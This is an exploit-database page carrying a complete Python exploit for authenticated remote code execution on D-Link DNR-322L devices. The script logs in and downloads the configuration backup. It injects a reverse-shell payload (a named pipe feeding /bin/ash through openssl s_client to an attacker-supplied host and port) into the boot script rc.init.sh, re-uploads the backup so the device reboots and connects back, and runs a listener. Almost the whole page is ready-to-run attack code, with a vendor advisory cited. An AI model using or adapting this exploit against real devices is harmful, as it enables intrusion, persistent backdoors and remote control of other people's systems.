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D-Link DNR-322L 2.60B15 Remote Code Execution

🗓️ 27 Mar 2023 00:00:00Reported by lukaType 
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D-Link DNR-322L 2.60B15 Remote Code Executio

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`# Exploit Title: D-Link DNR-322L <=2.60B15 - Authenticated Remote Code Execution  
# Date: 13.09.2022  
# Exploit Author: luka <[email protected]>  
# Exploit Writeup: https://lukasec.ch/posts/dlink_dnr322.html  
# Vendor Homepage: https://dlink.com  
# Vendor Advisory: https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10305  
# Software Link: http://legacyfiles.us.dlink.com/DNR-322L/REVA/FIRMWARE  
# Version: <= 2.60B15  
# Tested on: Debian, Windows 10  
  
"""  
# Vulnerability  
Inside the configuration backup from "Maintenance/System/Configuration Settings" is the bash script "rc.init.sh". The device does not check the integrity of a restored configuration backup which enables editing of set bash script. This bash script will be executed when the device boots.   
  
# Usage  
exploit.py [-h] -U USERNAME [-P PASSWORD] -t TARGET -l LHOST -p LPORT  
  
options:  
-h, --help show this help message and exit  
-U USERNAME, --username USERNAME  
Username, ex: admin  
-P PASSWORD, --password PASSWORD  
Password for the specified user  
-t TARGET, --target TARGET  
IP of the target, ex: 192.168.99.99  
-l LHOST, --lhost LHOST  
IP for the reverse shell to connect back to, ex: 123.123.123.123  
-p LPORT, --lport LPORT  
Port for the reverse shell to connect back to, ex: 8443  
"""  
  
import argparse, socket, requests, base64, urllib, os, shutil, tarfile, random, string  
from ipaddress import ip_address  
  
args = argparse.ArgumentParser()  
  
args.add_argument(  
"-U",  
"--username",  
type=str,  
required=True,  
dest="username",  
help="Username, ex: admin",  
)  
  
args.add_argument(  
"-P",  
"--password",  
type=str,  
required=False,  
dest="password",  
help="Password for the specified user",  
)  
  
args.add_argument(  
"-t",  
"--target",  
type=str,  
required=True,  
dest="target",  
help="IP of the target, ex: 192.168.99.99",  
)  
  
args.add_argument(  
"-l",  
"--lhost",  
type=str,  
required=True,  
dest="lhost",  
help="IP for the reverse shell to connect back to, ex: 123.123.123.123",  
)  
  
args.add_argument(  
"-p",  
"--lport",  
type=int,  
required=True,  
dest="lport",  
help="Port for the reverse shell to connect back to, ex: 8443",  
)  
  
args = args.parse_args()  
  
# base64 + url encode string  
# returns string  
def b64_url_encode(data):  
enc = data.encode("utf-8")  
encB = base64.b64encode(enc)  
encUrl = urllib.parse.quote(str(encB, "utf-8"))  
return encUrl  
  
  
# since user input is always unsafe, test IPs  
try:  
ip_address(args.target)  
except Exception:  
print("[!] Target IP is not a valid IP address")  
exit(1)  
try:  
ip_address(args.lhost)  
except Exception:  
print("[!] Reverse shell IP is not a valid IP address")  
exit(1)  
  
# check if target is online  
try:  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(2)  
# hardcoded http, change if needed  
s.connect((args.target, 80))  
s.close()  
except Exception:  
print("[!] Target is not online")  
exit(1)  
print("[+] Target is online")  
  
# login param  
authUrl = "http://" + args.target + "/cgi-bin/login_mgr.cgi"  
authHeaders = {"content-type": "application/x-www-form-urlencoded"}  
authCheckCmd = "cmd=ui_check_wto"  
  
session = requests.Session()  
  
# if password is empty supply dont supply anything  
if not args.password:  
authBody = (  
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="  
+ args.username  
+ "&pwd=&ssl_port=443&f_login_type=0&f_url="  
)  
else:  
authBody = (  
"cmd=login&port=&mydlink=0&protocol=0&R_language=en&username="  
+ args.username  
+ "&pwd="  
+ b64_url_encode(args.password)  
+ "&ssl_port=443&f_login_type=0&f_url="  
)  
  
try:  
# login  
reqLogin = session.post(authUrl, headers=authHeaders, data=authBody)  
# check if successful  
reqCheck = session.post(authUrl, headers=authHeaders, data=authCheckCmd)  
  
if "success" in reqCheck.text:  
print("[+] Login successful")  
else:  
print("[!] Error during login, check credentials")  
exit(1)  
except Exception as error:  
print(error)  
print("[!] Error during login, check credentials")  
exit(1)  
  
# download backup  
print("[*] Downloading backup")  
if os.path.exists("backup_clean"):  
os.remove("backup_clean")  
  
# download param  
downloadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"  
downloadHeaders = {"content-type": "application/x-www-form-urlencoded"}  
downloadCmd = "cmd=cgi_backup_conf"  
  
try:  
reqBackup = session.post(downloadUrl, headers=downloadHeaders, data=downloadCmd)  
except Exception as error:  
print(error)  
print("[!] Error while downloading backup")  
exit(1)  
  
# saving to disk  
try:  
f = open("backup_clean", "wb")  
f.write(reqBackup.content)  
f.close()  
  
if not os.path.exists("backup_clean"):  
print("[!] Error while saving backup")  
exit(1)  
except Exception as error:  
print(error)  
print("[!] Error while saving backup")  
exit(1)  
print("[+] Download successful")  
  
# unpack backup (tar.gz file)  
try:  
config = tarfile.open("backup_clean")  
config.extractall()  
config.close()  
except Exception as error:  
print(error)  
print("[!] Error while unpacking backup")  
exit(1)  
  
# inject stuff into startup script  
try:  
bashscript = open("backup/rc.init.sh", "a")  
# revshell with openssl  
payload = (  
"\n(( sleep 10; rm -f /tmp/lol; mknod /tmp/lol p; cat /tmp/lol | /bin/ash -i 2>&1 | openssl s_client -quiet -connect %s:%s >/tmp/lol & ) & )\n"  
% (args.lhost, args.lport)  
)  
bashscript.write(payload)  
# also start a telnet deamon (has same passwd as web)  
# bashscript.write("utelnetd -d")  
bashscript.close()  
except Exception as error:  
print(error)  
print("[!] Error while creating malicious backup")  
exit(1)  
print("[+] Created malicious backup")  
  
  
# re pack file  
try:  
configInj = tarfile.open("backup_injected", "w:gz")  
configInj.add("backup")  
configInj.close()  
# remove unpacked folder  
shutil.rmtree("backup", ignore_errors=False, onerror=None)  
except Exception as error:  
print(error)  
print("[!] Error while re-packing malicious backup")  
exit(1)  
  
# upload  
print("[*] Uploading malicious backup")  
uploadUrl = "http://" + args.target + "/cgi-bin/system_mgr.cgi"  
uploadHeaders = {  
"Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryhellothere"  
}  
  
configInj = open("backup_injected", "rb")  
tardata = configInj.read().decode("latin-1")  
  
uploadBody = (  
'------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="cmd"\r\n\r\ncgi_restore_conf\r\n------WebKitFormBoundaryhellothere\r\nContent-Disposition: form-data; name="file"; filename="backup"\r\nContent-Type: application/x-gzip\r\n\r\n'  
+ tardata  
+ "\r\n------WebKitFormBoundaryhellothere--\r\n"  
)  
  
reqUpload = session.post(uploadUrl, headers=uploadHeaders, data=uploadBody)  
  
if "web/dsk_mgr/wait.html" in reqUpload.text:  
print("[+] Upload successful, target will reboot now")  
else:  
print("[!] Error while uploading malicious backup")  
exit(1)  
  
  
# creating listener  
print("[*] Started listener, waiting for the shell to connect back")  
print("[*] When you are done kill the shell with Ctrl+C")  
# random name  
randInt = "".join(random.choice(string.ascii_lowercase) for i in range(10))  
  
# generate the cert and the key for the openssl listener  
os.system(  
'openssl req -x509 -newkey rsa:4096 -keyout /tmp/%s_key.pem -out /tmp/%s_cert.pem -days 365 -nodes -subj "/CN=example.com" 2> /dev/null'  
% (randInt, randInt)  
)  
# create an openssl listener  
os.system(  
"openssl s_server -quiet -key /tmp/%s_key.pem -cert /tmp/%s_cert.pem -port %s"  
% (randInt, randInt, args.lport)  
)  
  
exit(0)  
  
`

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27 Mar 2023 00:00Current
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